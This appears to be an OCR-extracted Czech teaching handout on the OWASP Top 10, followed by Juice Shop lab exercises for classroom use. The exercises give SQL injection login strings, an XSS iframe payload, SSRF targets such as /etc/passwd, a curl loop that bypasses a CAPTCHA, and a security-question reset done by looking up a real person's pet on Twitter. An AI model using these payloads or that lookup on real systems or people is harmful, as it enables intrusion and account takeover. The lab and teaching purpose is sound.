uto¢nik ziskal ptistup k tisicim citlivych zdravotnich zaznamt vice nez 3,5 milionu déti a upravil je. Pfi
kontrole po incidentu bylo zjisténo, ze tviirci webovych stranek nefeSili vyznamné zranitelnosti.
Vzhledem k tomu, ze na systému nebyl k dispozici zadny software na logovani nebo monitorovani,

mohlo naruSeni bezpecnosti tidajl probihat jiz od roku 2013, tedy po dobu vice nez sedmi let.
Scénar #2

U jedné z velkych indickych leteckych spolecnosti doslo k tiniku dat, ktery zahrnoval osobni idaje

milionli cestujicich za vice nez deset let, vCetné udajii o cestovnich pasech a kreditnich kartach.
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K naruSeni dat doslo u poskytovatele cloudového hostingu treti strany, ktery leteckou spolecnost o tomto

incidentu po urcité dob¢ informoval.

Scénar #3

U jedné z velkych evropskych leteckych spolecnosti doslo k poruSeni GDPR, které bylo tfeba nahlésit.

Naruseni bylo udajné zpisobeno bezpecnostnimi chybami v platebni aplikaci, které zneuzili uto¢nici a

ziskali vice nez 400 000 zaznamt o platbach zakaznikl. Letecka spolecnost v diisledku toho dostala od

regulatora ochrany osobnich udaji pokutu ve vysi 20 milioni liber.

1.9.3

1.

Prevence

Zajistéte, aby byly logy generovany ve formatu, ktery mohou feSeni pro zpracovani log snadno
pouzivat.

Zajistéte, aby vSechna selhani ptihlaseni, fizeni pfistupu a ovéfovani vstupli na strané serveru
mohla byt zaznamenéna s dostate¢nym uzivatelskym kontextem pro identifikaci podezielych
nebo Skodlivych uctd a uchovdna po dostatecné dlouhou dobu, aby bylo mozné provést
opozdénou forenzni analyzu.

Zajistéte spravné Sifrovani dat, abyste zabranili injekcim nebo utoklim na systémy logovani
nebo monitorovani.

Zajistéte, aby transakce s vysokou hodnotou mély auditni stopu s kontrolou integrity, ktera
zabrani neopravnéné manipulaci nebo vymazéani, napiiklad databazové tabulky pouze

S pfidavanim zdznami na konec tabulky (s nemoznosti data upravovat nebo mazat).
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1.10 A10:2021 — Server-Side Request Forgery

1.10.1 Popis zranitelnosti

K chybam SSRF dochazi tehdy, kdyz webova aplikace nacitd vzdaleny prostfedek bez ovéieni
uZivatelem zadané adresy URL. Utoénik tak miize aplikaci pfimét k odeslani vytvofeného pozadavku
na neo¢ekavané misto urceni, a to i v pfipade, Ze je chranéna branou firewall, siti VPN nebo jinym typem

seznamu fizeni piistupu (ACL).

Vzhledem k tomu, Ze moderni webové aplikace poskytuji koncovym uzivatelim pohodiné funkce, stava
se nacitani adresy URL béznym scénarem. V diasledku toho se zvySuje vyskyt zranitelnosti typu SSRF.

Také zavaznost SSRF je stale vyssi v disledku cloudovych sluzeb a slozitosti architektur.

1.10.2 Priklady scénari utoku
Scénar #1
Odhaleni citlivych dat — Utoénici mohou ziskat p¥istup k lokalnim souboriim, napiiklad k internim

sluzbam, a ziskat tak citlivé informace — napftiklad file:///etc/passwd, nebo sluzbu bézici na portu 28017

(http://localhost:28017/).

Scénar #2

Pristup k ulozisti metadat cloudovych sluzeb — vétsina poskytovatelti cloudovych sluzeb ma uloziste

metadat, napiiklad AWS, Azure, GCP. Utoénik miize metadata preéist a ziskat citlivé informace.
Scénar #3

Kompromitace internich sluzeb — Uto¢nik miize zneuzit interni sluzby k dal§im Gtoktim, jako je vzdalené

spusteéni kodu (RCE) nebo odepteni sluzby (DoS).
Scénér #4

Skenovéni portl internich serveri — Pokud sitova architektura neni segmentovand, mohou uto¢nici
s pomoci SSRF mapovat vnitini sit¢ a z vysledku pfipojeni, pfipadné doby pfipojeni ¢i odmitnuti spojeni

zjistit, zda jsou porty na internich serverech oteviené nebo zaviené.
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1.10.3 Prevence

1.

Segmentace funkci vzdaleného pfistupu ke zdrojim / prostiedkiim (obrazklim, externimu
obsahu) v oddélenych sitich s cilem snizit dopad SSRF.

Spravné nastaveni firewallu — ,,deny by default® politika, pravidla firewallu pro pouze nezbytny
sitovy provoz v intranetu / lokalni siti.

Sanitizovat a ovéfovat vS§echna data zadana uzivatelem.

Vynuceni schématu URL, portu a cile pomoci ,,allow list* (obsahuje vSechno, co je povoleno)

Zékaz HTTP pfesmérovani.
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2 Prakticka ¢ast

Tato ¢ast by jiz méla obsahovat postup prace ucitele s zaky. Neméli bychom se omezit pouze na navod
»krok za krokem®, do kterého Zaci nebudou aktivné zapojeni. Je vhodné tento ,,step-by-step™ piistup
prokladat dil¢imi tkoly, které zaka posunou v uloze kupiedu, nebo mize byt dalsi postup v tloze

podminén spravnym feSenim tohoto tkolu.

V praktické ¢asti budeme pracovat se softwarem OWASP Juice Shop, ktery obsahuje velké mnozstvi

ukolt, kde si miizeme prakticky vyzkouset jednotlivé kategorie titokd.

Software je k dispozici ve virtualnim stroji Kali DVWA OWASP Juice Shop, ktery muzete stahnout
zde:

e https://files.tunasec.com/kali-linux-owasp-dvwa.ova

Tento software je vyvijen komunitou OWASP za ucelem vyzkouseni si zranitelnosti, které¢ jsou na
seznamu OWASP TOP 10. Umoznuje praci v rozsahu 10+ hodin na desitkach scénaiti, pro nasi lekci

budeme pouzivat vybrané scénate, které si ukazeme nize.

Co se tyce kategorii v ramci OWASP Juice Shop, tak na nasledovném obrazku vidite jejich procentudlni

zastoupeni:

Challenges Category Distribution

® xss
@ Sensitive Data Exp...

@ Improper Input Vali. ..
@ Broken Access Con...
@ Vulnerable Compo. ..
@ Broken Authentication
@ Security through O. ..

® Insecure Deserializ...
@ Broken Anti Automa...
@ Injection

@ Security Misconfigu. ..
@ Cryptographic Issues
@ Unvalidated Redirects
@ Miscellaneous

® XXE

Pro pochopeni, jako aplikace funguje, se miZete podivat na stranku:
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e https://pwning.owasp-juice.shop/partl/happy-path.html

2.1 Ovéreni spravného nastaveni prostiredi OWASP Juice Shop
Ovéite, Ze u vas beézi spravné nastaveny software OWASP Juice Shop. Spust'te si prohlize¢ Google

Chrome z plochy a piejdéte na adresu http://juiceshop.local/ pro piistup k bézici aplikaci. Jestli aplikace

neni funkéni ani minutu po spusténi virtualniho stroje, tak jej restartujte.

Aplikace by méla vypadat nasledovneé:

Apple Juice Banana Juice g Best Juice Shop
(1000mi) Apple Pomace b ek
1.990 ;9o 1900 Artwork
50000
b

. OWASP Juice Shop

All Products

Fruit Press Green Smoothie

(1000mi) (500ml)
2990 8.99%

1.990

. Carrot Juice Eggfruit Juice

2.2 Nastaveni jazyka v ramci OWASP Juice Shop
Aplikace neni jenom v angli¢tiné — je mozné zménit lokalizaci na ¢eStinu pomoci zmény jazyka vpravo

nahoru v ramci stranky. Nyni tak udélejte.

2.3 Restart progresu
Pokud pouzival OWASP Juice Shop uz néktery student, tak je nutné smazat cookies, aby se resetoval

postup a dalsi student mohl zaéit pracovat Gplné od zacatku.
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2.4 Nastroj DevTools

Pro monitoring sitového provozu a investigaci HTML elementi budeme pouzivat néstroj DevTools,
ktery se nachazi v kazdém modernim prohlizeci s cilem pomoci se orientovat v kodu vyvojaiim. My
tento nastroj vyuZzijeme pro feseni vicero tkolt, které pro vas mame piipraveny v ramci OWASP Juice

Shop.

Pro spusténi DevTools si jej oteviete stlacenim tlacitka F12 nebo pravym klikem mysi na libovolné

misto na strance a vybérem moznosti Inspect.
Stranka by méla vypadat nasledovné:

. OWASP Juice Shop

VSechny produkty

Apple Juice Banana Juice
(1000mi) 9 Apple Pomace (1000m)
1990 0.59a 1990

PN
Best Juice Carrot Juice Eggfruit Juice

Shop Salesman (1000mi) (500ml)
Artwork

‘ﬂ : % 2.99 8.99a
4( (' ) 50000

Prava c¢ast obsahuje sekce Elements, Console, Sources, Network a dalsi, které v tomto cvieni pouZzivat

nebudeme.
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2.5 Nalezeni scoreboardu
Prvnim vkolem je nalezeni stranky, kde méme scoreboard a kde jsou zadani ukold, kde mate
zaznamenany indikaci jejich feSeni a bodovy stav vaseho konta. Podivejte se na jednotlivé stranky a

zkuste uhodnout, kde se tato stranka nachazi. Ptipadné se podivejte do zdrojového kodu stranky.
Casova alokace: 2 minuty

Vysledek: http://juiceshop.local/#/score-board

.' OWASP Juice Shop

Uspe3né jste vyfesili vizvu: & wd (Find the caretully hidden ‘Score Board' page.)

Vysledkova tabule Programovaci skore

Lump

Woewiesens (@

Error Handing i dled Chy Predpokiad Q revyiesenc
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2.6 Challenge Zero Stars
Tato tloha slouzi na udéleni hodnoceni aplikaci pomoci formulate Nazory zédkaznikii. Problémem je, ze
chceme udélit hodnoceni mimo $kalu akceptovanou aplikaci — a to 0 hvézdicek. Piejdéte na stranku

Nazory zakaznikil a odeslete spravné hodnoceni na server.

K tomuto tkolu pouzijeme nastroj curl z terminalu a v ném upravime data, které posleme na server.

Tento nastroj se pouziva na posilani dat mezi klientem a serverem bez nutnosti pouziti prohlizece.

5
Terminal oteviete klikem na ikonu ._ v horni list€ operacniho systému.

Pted odeslanim feedbacku se oteviete DevTools, pole Network a podivejte se na dotaz. Nyni jej

zkopirujte jako cURL, upravte a odeslete pies terminal s hodnotou pole rating nastavenou na 0.

Nézory zakaznik(

Casova alokace: 5 minut
Reseni:

1. Jdéte na stranku http://juiceshop.local/#/contact

2. Otevrete si terminal klikem na ikonu v horni listé.

3. Otevite DevTools v prohlizeci, tab Network a nasledn€ poslete hodnoceni s jednou hvézdickou
(nezalezi, co napisete do pole Komentar, je nutné vSak spravné vyplnit pole CAPTCHA).

4. Nasledné v prohlize¢i najdéte dotaz na endpoint Feedbacks/, zkopirujte ho jako cURL (klik
pravym tlacitkem a zkopirovat jako cURL) a v terminalu opravte parameter “rating” z 1 na 0.

5. Nasledné se objevi tikol jako splnény.
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Alternativou je odchytit dotaz pomoci lokalni proxy (typu Burp Suite) a upravit request na server.

Piikladem muze byt video: https://www.youtube.com/watch?v=0YSNRzONR(8, ptipadné blogovy

¢lanek https://curiositykillscolby.com/2020/11/06/pwning-owasps-juice-shop-pt-10/.

2.7 Challenge SQL Injection — Log in with the administrator's account
Co by to bylo za zranitelnou webovou aplikaci bez uzivatelského uctu spravce, jehoz (udajné)

privilegovana pfistupova prava nemuiize uspésny hacker zneuzit?

e Popis vyzvy pravdépodobné prozradil, jakou formou byste méli zautocit.
e Pokud jiz nahodou znate e-mailovou adresu spravce, mizete zahdjit cileny utok.
e Se urcitym vzorem utoku miiZzete mit Stésti i v pfipad¢€, Zze o e-mailové adrese spravce nemate

ani tuSeni.

Dokumentace k SQL Injection: https://www.w3schools.com/sgl/sql_injection.asp

Po uspesné SQL Injection bude kol automaticky vyteseny.
Casova alokace: 5 minut
Reseni:

1. Jdé&te na stranku piihlaseni: http://juiceshop.local/#/login

2. Ptihlaste se pomoci e-mailu ' or 71=1-- (SQL Injection) a libovolného hesla, které ovéii
prvni polozku v tabulce Users, coz je shodou okolnosti spravce.

3. Alternativné se piihlaste pomoci e-mailu admin@juice-sh.op'-- (SQL Injection) a
libovolného hesla, pokud jiz znate e-mailovou adresu spravce.

4. Timto by mél byt ukol vyieseny.
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2.8 Challenge Bjoern’'s Favorite Pet
Tato challenge se netykd zddné technické zranitelnosti. Misto toho jde o to zjistit odpoved na
bezpecnostni otazku, kterou si zvolil uzivatel Bjoern (bjoern@owasp.org), a pouzit ji k obnoveni hesla

jeho ucétu OWASP.

Pri registraci na mnoha webovych strankdch se pouzivaji bezpecnostni otazky jak pro nacteni/obnoveni
hesla, tak pro ovéreni prihlaseni. Neékteré se na stejné bezpecnostni otazky ptaji i pri telefonickém
hovoru. Bezpecnostni otdzky jsou jednou z metod ovéreni uZivatele a zabrdnéni neopravnenému
pristupu. S bezpecnostnimi otazkami jsou vSak spojeny urcité problémy. Weboveé stranky mohou pouzivat

Spatné bezpecnostni otdzky, které mohou mit negativni vysledky:

e Uzivatel si nemiize presné zapamatovat odpovéd nebo se odpovéd zménila
e (Otazka pro uzivatele nefunguje

® (Otazka neni bezpecna a mohla by byt odhalena nebo uhodnuta jinymi osobami

Je nezbytné, abychom pouzivali dobré otazky. Dobré bezpecnostni otazky splnuji pét kritérii. Odpoved’

na dobrou bezpecnostni otazku je nasledujici:

® Bezpecna: nelze ji uhodnout ani zjistit na internetu
e Stabilni: nemeéni se v case

® Zapamatovatelna: lze si ji zapamatovat

® Jednoducha: je presnd, snadna, konzistentni

e Variabilni: mda mnoho moznych odpovédi

Je obtizné najit otazky, které by spliiovaly v§ech pét kritérii, coz znamend, Ze nékteré otazky jsou dobré,
nékteré dobré a vétsina je Spatnd. Ve skutecnosti existuje jen malo DOBRYCH bezpecnostnich otdzek,
pokud vitbec néjaké. Lidé na socialnich sitich, blozich a webovych strankach sdileji tolik osobnich
informaci, ze je tezké najit otazky, které spliiuji vyse uvedend kritéria. Navic mnoho otazek je pro nékteré

lidi nepouzitelnych, napriklad jaka je prezdivka vaseho nejstarsiho ditete — ale vy Zadné dité nemate.

Odpoved na Bjoernovu otazku najdes, kdyz si ho vyhledas na internetu. Pfesnéji feceno, Bjoern mohl
omylem sdélit tuto informaci tim, Ze minimalné pfi jedné pfilezitosti, kdy bézela kamera, zminil svou
bezpecénostni odpoveéd’, nebo na jedné ze socialnich siti. Bruteforce (pouziti hrubé sily) odpovédi by
mohlo byt velmi dobfe mozné s dostatecné rozsahlym seznamem béznych domacich jmen. Tim vyfesis

tento ukol.
Casova alokace: 5 minut

Reseni:
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Navstivte stranky http://juiceshop.local/#/forgot-password a zadejte jako sviij e-mail adresu

bjoern@owasp.org.

Vsimnéte si, zZe bezpecnostni otdzka, kterou Bjoern vybral, zni Jméno vaseho oblibené¢ho
domaciho mazlicka?

Bjoerntv profil na Twitteru najdete na adrese https://twitter.com/bkimminich.

Pti prochézeni jeho aktualizaci stavu nebo médii si v§imnete nékolika fotografii roztomilé kocky
a nakonec najdete také Tweet:

a. https:/twitter.com/bkimminich/status/1441659996589207555.

Text tohoto tweetu ukazuje jméno kocky jako "Zaya".

Znovu navstivte stranku http://juiceshop.local/#/forgot-password a jako e-mail opét zadejte

bjoern@owasp.org.

Ve formulati zadejte “Zaya” jako Jméno vaseho oblibeného domaciho mazlicka?
Poté zadejte libovolné Nové heslo a odpovidajici Opakovat nové heslo.

Kliknutim na tla¢itko Zmenit vyteste tento tikol
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2.9 Challenge Security Policy

Nez se pusti§ do akce, zachovej se jako kazdy ,,white hat hacker* a najdi soubor security.txt.

Informace, kde tento soubor mize byt je hodn¢ napomocna. Doporucujeme vyuzit blogové clanky

dostupné na webu, piipadné dokumentaci standardu security.txt — https://securitytxt.org/. V ramci tohoto

ukolu se muzete podivat i na detaily, co vSechno v tomto souboru je mozné komunikovat.
Casova alokace: 5 minut
ResSeni:

1. Precist si https://securitytxt.org/ a jit na stranku:

a. http://juiceshop.local/.well-known/security.txt
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2.10 Challenge Confidential Document

Neékde v aplikaci mizeS najit soubor, ktery obsahuje citlivé informace o nékterych — potencialné

nepratelskych — ptrevzetich, které planuje nejvyssi vedeni obchodu Juice Shop. Analyzuj a manipuluj s

odkazy v aplikaci, které soubor ptimo dorucuji. Hledany soubor neni nijak chranén. Jakmile jej najdes,

muzes k nému také ziskat pristup.

Hint: Podivej se na jednotlivé stranky v bocnim panelu (sidebaru) a hledej na nich odkazy na soubory.

Hledany soubor ma ptiponu .md (markdown).

Casova alokace: 5 minut

Reseni:

1.

Na strance O nas nasledujte odkaz s nazvem Pokud mate radi prudu, prectete si nase nudné

obchodni podminky. (http://juiceshop.local/ftp/legal.md).

Podivejte se na adresaf zménou adresy URL na http://juiceshop.local/ftp.

Oteviete prvni soubor acquisitions.md — http://juiceshop.local/ftp/acquisitions.md

=\ ftp |
quarantine acquisitions.md announcement_encrypted.md
coupons_2013.md.bak eastere.gg encrypt.pyc
incident-support.kdbx legal.md package.json.bak

suspicious_errors.yml|
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2.11 Challenge Error Handling
OWASP Juice Shop je pomérné shovivavy, pokud jde o $patné zadani, nefunkéni pozadavky nebo jiné
chybové situace. Z chybovych hlaseni, ktera obsahuji ptili§ mnoho textu, lze ziskat mnoho zajimavych

informaci. Nékdy se dokonce zobrazi chybové zpravy, které by viibec nemély byt viditelné.

e Tato vyzva je ve skutecnosti vyvolana riznymi moznymi chybovymi stavy.
e Miuzete se pokusit odeslat Spatny vstup do formulait, abyste vyvolali nespravné zpracovani
chyb.

e Manipulace s cestami URL nebo parametry miize také vyvolat nepiedvidanou chybu.

Pokud se zobrazi oznameni o Gspéchu této vyzvy, ale na obrazovce se neobjevi Zadna chybova zprava,

chyba byla pravdépodobné zaznamenana v konzole JavaScriptu prohlizece.

Casova alokace: 5 minut

Regeni:

Kazdy pozadavek, ktery server nemize spravné zpracovat, bude nakonec ptredan globalni komponenté
pro zpracovani chyb, ktera klientovi odesle chybovou stranku obsahujici stopu zasobniku a dalsi citlivé

informace. Restful API se chova podobné a piedava zpet chybovy objekt JSON s citlivymi udaji, jako

jsou fetézce dotazi SQL.

Zde jsou dva ptiklady (z mnoha zplsobil), jak takovou chybovou situaci vyvolat a tento problém
okamzité vytesit:
1. Jdi do slozky /ftp na serveru (kde jsme nasli citlivy dokument vySe) a zkus prohlizet soubor,

ktery neexistuje — napiiklad http://juiceshop.local/ftp/coupon.txt

OWASP Juice Shop (Express "4.17.1)

403 Error: Only .md and .pdf files are allowed!

at verify (fjuice-shop/buildiroutesifileServer.js:31:18)

at fjuice-shop/buildiroutes/fileServer.js:15:13

at Layer.handle [as handle_request] {/juice-shop/node_modules/express/libfrouter/layer.js:95:5)
at trim_prefix {/juice-shop/node_modules/express/lib/router/index.js:323:13)

at fjuice-shop/ ﬂcde _modules/expressilib/routerfindex js:284:7

at param (.-'juwce-sho|J.-'ﬂoc\eimodules.fexp“ess.w'llbe’roLnemnc\ex.|5:380:11-3
at param (fjuice-shop/node_modules/express/iibfrouterfindex.js:371:14)

at Function.process_params (/juice-shop/node_modules/expressiib/router/index.js:416:3)
at next (fjuice-shop/node_modules/express/lib/routerfindex.js:275:10)

at fjuice-shop/ode_modules/serve-indexfindex.js:135:16

at callback (fjuice-shop/node_maodules/graceful-fs/polyfills.js:299:20)

at FSReqCallback.oncomplete (node:fs:198:21)

2. Navstiv stranku / REST API endpoint, ktery neexistuje:
a. http://juiceshop.local/rest/random123456
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v 7

Tyto endpointy muizes najit v ramci developer konzoly, kdyZ prohlizis sitovy provoz pii riznych

akcich na webu.

OWASP Juice Shop (Express "4.17.1)

500 Error: Unexpected path: Irestirandom123456

at fjuice-shop/build/routesfangular.,js:15:18

at Layer.handle [as handle_request] (fjuice-shop/node_modules/express/libirouter/layer.js:95:5)
attrim_prefix (/uice-shop/node_modulesiexpressiib/router/index.js:323:13)

at fjuice-shop/node_modules/expressfib/router/index.js:284:7

at Function.process_params (fjuice-shopinode_modules/express/ib/router/index.js:341:12)

at next (fjuice-shopinode_modules/express/ib/router/index.js:275:10)

at fjuice-shop/uild/routesiverify,js:133:5

at Layer.handle [as handle_request] (fjuice-shop/node_modules/expressilibirouter/layer.js:95:5)
at trim_prefix (/uice-shop/node_modulesiexpressiib/router/index.js:323:13)

at fjuice-shop/node_modules/expressfib/router/index.js:284:7

at Function.process_params (fjuice-shopinode_modules/express/ib/router/index.js:341:12)

at next (fjuice-shop/inode_modules/express/ib/router/index.js:275:10)

at fjuice-shop/build/routesiverify,js:69:5

at Layer.handle [as handle_request] (fjuice-shop/node_modules/express/libirouter/layer.js:95:5)
at trim_prefix (/uice-shop/node_modulesiexpressilib/router/index.js:323:13)

at fjuice-shop/node_modules/expressfib/router/index.js:284:7

at Function.process_params (fjuice-shopinode_modules/express/ib/router/index.js:341:12)

at next (fjuice-shop/inode_modules/express/lib/router/index.js:275:10)

at logger (fjuice-shopmode_modules/morgan/index.js:144:5)

at Layer.handle [as handle_request] (fjuice-shop/node_modules/expressilibirouter/layer.js:95:5)
at trim_prefix (/uice-shop/node_modulesiexpressilib/router/index.js:323:13)

at fjuice-shop/node_modules/expressfib/router/index.js:284:7
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2.12 Challenge Bonus Payload
Najdéte zranitelné pole na strance, kde mtizete vykonat Javascript kod tim, ze do né&j vlozite HTML
element. Nyni staci zkopirovat a vlozit uZzitecné zatizeni do stejného zranitelného pole. Kod se

zranitelnosti naleznete na strance scoreboardu: http://juiceshop.local/#/score-board:

Obtiznost Popis Kategorie

Use the bonus payload <iframe width="100%" height="166" scrolling="no"
Bonus Payload * url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&:XSS
</iframe> in the DOM XSS challenge.

Pro vyfeSeni je nutné zkopirovat cely iframe element do vyhledavani.

Pole vyhledavani je mozné nalézt v hlavi¢ce webu po kliku na znak lupy:

Casova alokace: 5 minut
Reseni:

1. Vlozte uvedeny kod / payload (iframe) do pole vyhledavani na kterékoliv strance OWASP Juice
Shop aplikace. Po stlateni Enteru se challenge oznaci jako splnéna a za¢ne hrat hudba, pokud
je zapnuta.

2. Ucitel by mél vysvétlit, jak jsme mohli vlozit tento element na stranku a pro¢ by se tohle nemélo

stavat.

3. Timto je ukol splnény.
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2.13 Challenge CAPTCHA Bypass

Formulat Nazory zékazniki pro zpétnou vazbu od zakaznikli obsahuje CAPTCHA, ktera jej chrani pied

zneuzitim pomoci skriptti. Cilem této tlohy je piekonat tuto automatickou ochranu.

Zcela automatizovany verejny Turingiiv test k rozliseni pocitacii a lidi neboli CAPTCHA je program,
ktery umoznuje rozlisit cloveka od pocitace. CAPTCHA, ktery poprvé Siroce pouzila spolecnost Alta
Vista k zabranéni automatického zadavani vyhledavani, je obzvlasté ucinny pri zastaveni jakéhokoli
druhu automatizovaného zneuziti, véetné utokii hrubou silou. Funguji tak, Ze predkladaji urcity test,
ktery je pro clovéka snadny, ale pro pocitac obtizny, proto lze s urcitou jistotou usoudit, zda je na druhé

strané clovek.

Aby byl CAPTCHA ucinny, musi byt clovek schopen odpovédét na test spravné v co mozna nejblizsim

100 % pripadii. Pocitace musi selhat v co moznd nejblizsim 100 % pripadii.

e Muzete si pripravit 10 karet prohlizeCe, vytesit kazdou CAPTCHA a vyplnit kazdy formular
zpétné vazby. Pak byste museli velmi rychle pfepinat mezi kartami a odeslat formulare
Vv celkovém c¢ase pod 10 sekund.

e Pokud by se obchod Juice Shop né¢kdy rozhodl zménit vyzvu na ,,Odeslat 100 nebo vice
zpétnych vazeb od zakaznikli do 60 sekund* nebo jesté hiite, pravdépodobné byste méli problém
udrzet krok s jakymkoli pfistupem piepinani karet.

e Dikladné prozkoumejte, jak mechanismus CAPTCHA funguje, a pokuste se najit bud’ jeho
obchazeni, nebo néjaky automatizovany zptsob dynamického feseni.

e Zabalte to do skriptu (v libovolném programovacim jazyce), ktery to desetkrat zopakuje.
Casova alokace: 5 minut
Reseni:

1. Oteviete kartu Network v prohlizec¢i DevTools a navstivte stranku:

a. http://juiceshop.local/#/contact

2. Meéli byste si vsimnout pozadavku GET na adresu http://juiceshop.local/rest/captcha/, ktery

nac¢te CAPTCHA pro formulat zpétné vazby. Télo odpoveédi HTTP bude vypadat podobné jako
{"captchald":18, "captcha": "5*8*8", "answer": "320"}.
a. Poznamka: vase CAPTCHA id a answer se budou lisit.
3. Formulaf normalné vyplite a odeslete a zaroven zkontrolujte interakci s backendem v nastrojich
pro vyvojaie. Identifikator CAPTCHA a feSeni se prenasSeji spolu se zpétnou vazbou v téle

pozadavku: {comment: "Dobry den", rating: 1, captcha: "320", captchald: 18}
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4. Vsimnéte si, Ze z koncového bodu REST je nactena nova CAPTCHA. Bude pfedstavovat jinou
matematickou vyzvu, napf. {"captchald":19, "captcha": "1*1-1", "answer": "0"}.

5. Napiste dalsi zpétnou vazbu, ale pfed jejim odeslanim zmeéiite parametry captchald a captcha na
predchozi hodnoty captchald a answer. V tomto ptikladu byste odeslali captcha: "320",
captchald: 18 misto captcha: "0", captchald: 19.

6. Server vasi zpétnou vazbu ptijme a sdéli vam, ze CAPTCHA muze byt pfipnuta k libovolné
predchozi odpovédi.

7. Napiste skript s 10-ti iteraéni smyckou, ktery odesle zpétnou vazbu pomoci vami piipnutych
parametrd captchald a captcha. Pro jednoduchost zkopirujte dotaz na server (endpoint
/api/Feedbacks) z Network tabu jako cURL a nechte jej v skriptu probéhnout 10 krat. Spusténim
tohoto skriptu se ukol vyfe$i. Alternativné je moznost spustit 10 stejnych curl dotazi z

Terminalu rychle za sebou.

Ptiklad bash skriptu:

#!/bin/bash

for 1 in {1..10}
do

curl 'http://juiceshop.local/api/Feedbacks/' -H 'User-Agent: Mozilla/5.0 (X11;
Linux x86 64; rv:91.0) Gecko/20100101 Firefox/91.0' -H 'Accept: application/json,

text/plain, */*' -H 'Accept-Language: en-US,en;g=0.5"' --compressed -H 'Content-Type:
application/json' -H 'Origin: http://juiceshop.local' -H 'Connection: keep-alive' -H
'Referer: http://juiceshop.local/" -H 'Cookie: language=en;
welcomebanner status=dismiss;
continueCode=076zkE5mag2eZpYwKONyT31i13iMOf14UxbfMISzDUzZRGxjXIqWIrL184nyQo' --data-
raw '{"captchaId":18,"captcha":"320","comment":"Test (anonymous)","rating":1}"

done
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2.14 Challenge Payback Time

No¢ni mtrou kazdého internetového obchodu je pravdépodobné to, ze zdkaznici mohou pfijit na to, jak

ziskat penize misto toho, aby zaplatili za sviij ndkup.

Musite doslova donutit obchod, aby vam dluzil jakoukoli ¢astku.

Dutkladné prozkoumejte nakupni kosSik, abyste pochopili, jak vam brani ve vytvareni

objednavek, které by splnily vyzvu.

Casova alokace: 5 minut

Reseni:

1.

w ™

4.

o o

~

Ptihlaste se jako libovolny uzivatel.

Vlozte alesponi jednu polozku do nakupniho kosiku.

Vsimnéte si, ze snizeni mnozstvi polozky v kosiku pod 1 neni mozné prostfednictvim

uzivatelského rozhrani.

Pfi zméné mnozstvi prostfednictvim uzivatelského rozhrani si na karté Network v nastroji

DevTools v§imnete pozadavk PUT na adresu http://juiceshop.local/api/Basketltems/{id}.

Zapamatujte si {id} libovolné polozky v kosiku.

Zkopirujte si hlavicku Authorization z jakéhokoli pozadavku HTTP odeslaného prostfednictvim

prohlizece.

Odeslete pozadavek PUT na adresu http://juiceshop.local/api/Basketltems/{id} a nahrad’te {id}

zapamatovanym Cislem z 5. a s:

a.
b.

C.

{"quantity": -100} jako té€lem,
application/json jako Content-Type
a Bearer ? jako hlavicku Authorization, pfi¢emz nahradite ? tokenem, ktery jste

zkopirovali z prohlizece.
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N No Envirenment
http:f/localhost:3000/api/Basket

http://localhost:3000/api/Basketitems/1

PUT http://localhost:3000/api/Basketitems/1

Body

none form-data x-www-form-urlencoded binary

{"quantity”: -100}

8. Navstivte http://juiceshop.local/#/basket a zobrazte sviij kosik se zapornym mnozstvim u prvni
polozky.

Your Basket (bjoern.kimminich@owasp.org)

Product Quantity Total Price

Apple Juice

-100 [ -199.00
(1000ml) = 3

& Checkout

9. Kliknutim na tlacitko Zaplatit se vystavi negativni objednavka a tim se vyfesi tento challenge.
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order_8194-0cb7c2a6e11ef26f.pdf A

OWASP Juice Shop - Order Confirmation

Customer: bjoern_kimminich@owasp.org

Order #: 8194-0cb7c2a6e11ef26f

-100x Apple Juice (1000ml) ea. 1.99 = -199

Total Price: -199

Thank you for your order!
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2.15 Challenge Missing Encoding

Zadani: Ziskejte fotografii Bjoernovy kocky v rezimu boje zblizka.
Kdo by nechtél vidét Bjoernovu kocku, jak zufivé bojuje s chlupatou zelenou plySovou hrackou?

e Kdyz navstivite fotosténu (Photo wall), vSimnete si rozbitého obrazku u jedné z polozek.
e Zjistéte, jak miizeme ziskat URL obrazki a oteviete je v novém okné
o DevTools jsou na to vhodny nastroj
e Obrazek, ktery neni mozné zobrazit je pravé hledany obrazek kocky
e Znak # neni mozné mit v nazvu souboru, ale emoji ano. Pro znak # je nutné udélat tzv. URL

escaping — nahrazeni hodnotou %623.
e Muze také pomoci vyzkouset tlac¢itko Twitteru u piispévku a pozorovat, co se stane
Po nalezeni validniho odkazu na obrazek a jeho otevieni bude kol splnény.
Casova alokace: 5 minut
Reseni:

1. Jit na stranku http://juiceshop.local/#/photo-wall a kliknout na prvni obrazek, ktery neni

viditelny.
2. Z Inspectu / Developers Console zkopirujeme odkaz na soubor, ktery nefunguje a vyménime
znaky # zapisem “%23”. Vysledna URL bude:
e http://juiceshop.local/assets/public/images/uploads/ 4 -%23zatschi-

%23whoneedsfourlegs-1572600969477.ipg
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2.16 Challenge Admin Section

Stejné€ jako scoreboard, ani sekce pro spravce nebude hned nalezitelnd, protoZze na ni neexistuje zadny

odkaz.

Kdyz vi$, ze existuje, mize§ jednoduse odhadnout, jakou adresu URL by mohla mit sekce
spravce.

Pfipadné se miize§ pokusit najit odkaz nebo ndpovédu v castech aplikace, které nejsou v
prohlizeci obvykle viditelné

Pravdépodobné je jen o néco t&€z8i ho najit a ziskat k nému pfistup nez k odkazu na scoreboard)

Je zde zavedena urcita kontrola pfistupu, ale existuji nejméné tfi zptisoby, jak ji obejit.

Reseni je mozné najit pfes DevTools, ¢ast Sources a nasledné vybrat soubor main.js. Pro lepsi

formatovani JavaScript souboru muzete kliknout na ikonku slozenych zavorek vlevo dole (Pretty print

main.js). V tomto souboru hledate vyskyty kli¢ového slova “admin”.

Casova alokace: 5 minut

Reseni:
1. Oteviete soubor main.js ve vyvojaiskych nastrojich prohlizece (DevTools) v zaloZce Sources a
vyhledejte v kédu "admin".
2. Jednou z nalezenych shod bude mapovani cesty na cestu: "administration".
[= ﬂ Elements Console Network Sources Application Audits Memory Performance Security
Page Toggle device toolbar: Cir + Shift + M : [ mainjs main.js:formatted X [0
v O top (] Pretty-print this minified file? more never show X

* O localhost:3000
> assets/public/images

e e Tl
return e.reverse().map(function(l, n) {

return String.fromCharCode(l - t - 45 - n)
}).join("")

-

I
B (index) (25, 184, 174, 179, 182, 186) + 36669..toString(36).tolowerCase() + function() {
L for (var 1 = [1, n = @ n < arguments.length; n++)
polyfills.js 1[n] = arguments[n]; .
. var e = Array.prototype.slice.call(arguments)
runtime.js , = e.shift();
vendor.js return e.reverse().map(function(l, n) {
B stylescss return String.fromCharCode(l - t - 24 - n)
' }).join("")
